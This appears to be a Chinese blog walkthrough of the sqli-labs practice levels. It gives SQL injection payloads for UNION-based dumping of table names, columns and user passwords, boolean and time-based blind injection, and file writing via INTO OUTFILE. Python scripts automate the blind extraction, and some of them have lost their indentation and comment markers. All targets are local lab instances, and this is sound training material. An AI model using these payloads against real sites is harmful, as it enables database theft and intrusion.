sqlilabs解题方法

Lass1

查询id为1的用户名和密码

查询id为2的用户名和密码

没有回显,不含id=-1的行

判断字段数,字段数为3

查询数据库用户名,和数据库名

查询时id必须超出数据库以外,一般用-1

用户名:user()

数据库名:database()cha

mysql版本:version()

查询数据库中的所有表的名字:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'--+

查询数据库中所有表名语法:group_concat(table_name)

从information_schema.tables中查询

条件数据库名必须为security:table_schema = 'security'

查询users表中的字段名:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+

查询所有字段名:group_concat(column_name)

从information_schema.columns中查询

表名必须为users: table_name = 'users'

查询字段值:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

查询所有用户名和密码:group_concat(username,0x3a,password)

从users表中


Lass2

行数为3

查询数据库名

查询表名

查询列名

查询字段名


Lass-3

先闭合

列数为3

数据库名

表名

列名

字段值


Lass4

闭合

Lass5

Lass6

页面不显示数据只有对错页面显示,选择布尔盲注

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

?id=1'and length((select database()))>9--+

#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+

#substr("78909",1,1)=7

substr(a,b,c)

a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。

ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

逐一判断字段名。

?id=1' and length((select group_concat(username,password) from users))>109--+

判断字段内容长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

逐一检测内容。
Lass7

闭合

列数为3

页面只显示对错无数据回显

读写文件

读文件前提:

1.存在注入点的web站点用户权限要足够高

2.secure_file_priv不为NULL(show global variables like "secure_file_priv";)(否则就没办法使用mysql中的函数进行读写)

读文件函数:

select load_file('路径');

写文件前提:

general_log = on

(查看general_log:show variables like'%general%';

修改general_log为on:set global general_log = on;)

写文件

select 字段名 from 表 into outfile "路径"

http://10.0.2.15/sqli/Less-7/?id=1')) union select 1,2,group_concat(username,0x3a,password) from users into outfile "/root/桌面/sqlilabs_qiu/Mysql注入读写文件Less7/out.txt"--+

Lass8

页面只显示对错无数据回显,基于布尔值的盲注

#coding:utf-8

import requests

char = "abcdefghijklmnopqrstuvwxyz0123456789~*/\{}?!:@_-,"

namelen = 1024

name = ""

res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1")

truelen = len(res.content)

for i in range(1, namelen):

flag = True

for str in char:

#表名

#res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),%s,1)=%%27%s%%27 --+"%(i,str))

#字段名

#res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name = 'users'),%s,1)=%%27%s%%27 --+"%(i,str))

#字段值

#res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(username,0x3a,password) from users),%s,1)=%%27%s%%27 --+"%(i,str))

if(len(res.content) == truelen):

name += str

print(str)

flag = False

break

if(flag):break

print(name)

脚本比较慢


Lass9

无论对错,回显都一样。此时基于布尔盲注的方法已经不适用,故采用基于时间的盲注

布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时

间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+

判断参数构造。

?id=1'and if(length((select database()))>9,sleep(5),1)--+

判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

python脚本

import requests

import time

将url 替换成你的靶场关卡网址

修改两个对应的payload

目标网址(不带参数)

url = "http://127.0.0.1/sqli-labs-master/Less-9/"

猜解长度使用的payload

payload_len = """?id=1' and if(

(length(

(database())

) ={n})

,sleep(5),3) -- a"""

枚举字符使用的payload

payload_str = """?id=1' and if(

(ascii(

substr(

(database())

,{n},1)

) ={r})

, sleep(5), 3) -- a"""

获取长度

def getLength(url, payload):

length = 1 # 初始测试长度为1

while True:

start_time = time.time()

response = requests.get(url= url+payload_len.format(n= length))

页面响应时间 = 结束执行的时间 - 开始执行的时间

use_time = time.time() - start_time

响应时间>5秒时,表示猜解成功

if use_time > 5:

print('测试长度完成,长度为:', length,)

return length;

else:

print('正在测试长度:',length)

length += 1 # 测试长度递增

获取字符

def getStr(url, payload, length):

str = '' # 初始表名/库名为空

第一层循环,截取每一个字符

for l in range(1, length+1):

第二层循环,枚举截取字符的每一种可能性

for n in range(33, 126):

start_time = time.time()

response = requests.get(url= url+payload_str.format(n= l, r= n))

页面响应时间 = 结束执行的时间 - 开始执行的时间

use_time = time.time() - start_time

页面中出现此内容则表示成功

if use_time > 5:

str+= chr(n)

print('第', l, '个字符猜解成功:', str)

break;

return str;

开始猜解

length = getLength(url, payload_len)

getStr(url, payload_str, length)

Lass10和lass9一样,'换成"
Lass11

#注释

Or 1=1判断是否有sql注入


Lass12

Lass13和lass12差不多,只需要将双引号换成单引号。

Lass14和lass11差不多,只需要将单引号换成双引号。

Lass15和第lass11一样,只是不产生报错信息。布尔盲注。有错误页面和正确页面进行参考。

Lass16和lass12一样,需要布尔盲注。

相关推荐
兩尛1 小时前
订单状态定时处理、来单提醒和客户催单(day10)
java·前端·数据库
web2u1 小时前
MySQL 中如何进行 SQL 调优?
java·数据库·后端·sql·mysql·缓存
Elastic 中国社区官方博客2 小时前
使用 Elasticsearch 导航检索增强生成图表
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
小金的学习笔记2 小时前
RedisTemplate和Redisson的使用和区别
数据库·redis·缓存
新知图书2 小时前
MySQL用户授权、收回权限与查看权限
数据库·mysql·安全
文城5212 小时前
Mysql存储过程(学习自用)
数据库·学习·mysql
沉默的煎蛋2 小时前
MyBatis 注解开发详解
java·数据库·mysql·算法·mybatis
呼啦啦啦啦啦啦啦啦2 小时前
【Redis】事务
数据库·redis·缓存
HaoHao_0102 小时前
AWS Serverless Application Repository
服务器·数据库·云计算·aws·云服务器
C语言扫地僧3 小时前
MySQL 事务及MVCC机制详解
数据库·mysql